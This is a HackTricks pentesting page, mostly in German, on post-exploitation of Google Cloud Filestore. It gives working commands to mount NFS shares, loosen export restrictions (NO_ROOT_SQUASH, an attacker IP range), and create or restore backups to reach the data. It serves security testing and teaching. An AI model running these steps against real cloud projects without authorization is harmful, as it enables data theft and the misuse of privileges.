GCP - Filestore Post Exploitation

Support HackTricks

Filestore

Für weitere Informationen über Filestore siehe:

GCP - Filestore Enum

Mount Filestore

Ein gemeinsames Dateisystem kann sensible Informationen enthalten, die aus der Perspektive eines Angreifers interessant sind. Mit Zugriff auf den Filestore ist es möglich, ihn zu mounten:

sudo apt-get update
sudo apt-get install nfs-common
# Check the share name
showmount -e <IP>
# Mount the share
mkdir /mnt/fs
sudo mount [FILESTORE_IP]:/[FILE_SHARE_NAME] /mnt/fs

Um die IP-Adresse einer Filestore-Instanz zu finden, überprüfen Sie den Abschnitt zur Enumeration auf der Seite:

GCP - Filestore Enum

Einschränkungen entfernen und zusätzliche Berechtigungen erhalten

Wenn der Angreifer sich nicht in einer IP-Adresse mit Zugriff auf den Share befindet, Sie jedoch über genügend Berechtigungen verfügen, um ihn zu ändern, ist es möglich, die Einschränkungen oder den Zugriff darauf zu entfernen. Es ist auch möglich, über Ihre IP-Adresse mehr Berechtigungen zu gewähren, um Admin-Zugriff auf den Share zu erhalten:

gcloud filestore instances update nfstest \
--zone=<exact-zone> \
--flags-file=nfs.json

# Contents of nfs.json
{
"--file-share":
{
"capacity": "1024",
"name": "<share-name>",
"nfs-export-options": [
{
"access-mode": "READ_WRITE",
"ip-ranges": [
"<your-ip-private-address>/32"
],
"squash-mode": "NO_ROOT_SQUASH",
"anon_uid": 1003,
"anon_gid": 1003
}
]
}
}

Restore a backup

Wenn es ein Backup gibt, ist es möglich, es in einer bestehenden oder in einer neuen Instanz wiederherzustellen, sodass seine Informationen zugänglich werden:

# Create a new filestore if you don't want to modify the old one
gcloud filestore instances create <new-instance-name> \
--zone=<zone> \
--tier=STANDARD \
--file-share=name=vol1,capacity=1TB \
--network=name=default,reserved-ip-range=10.0.0.0/29

# Restore a backups in a new instance
gcloud filestore instances restore <new-instance-name> \
--zone=<zone> \
--file-share=<instance-file-share-name> \
--source-backup=<backup-name> \
--source-backup-region=<backup-region>

# Follow the previous section commands to mount it

Erstellen Sie ein Backup und stellen Sie es wieder her

Wenn Sie keinen Zugriff auf ein Share haben und es nicht ändern möchten, ist es möglich, ein Backup davon zu erstellen und es wie zuvor erwähnt wiederherzustellen:

# Create share backup
gcloud filestore backups create <back-name> \
--region=<region> \
--instance=<instance-name> \
--instance-zone=<instance-zone> \
--file-share=<share-name>

# Follow the previous section commands to restore it and mount it
Unterstütze HackTricks

Last updated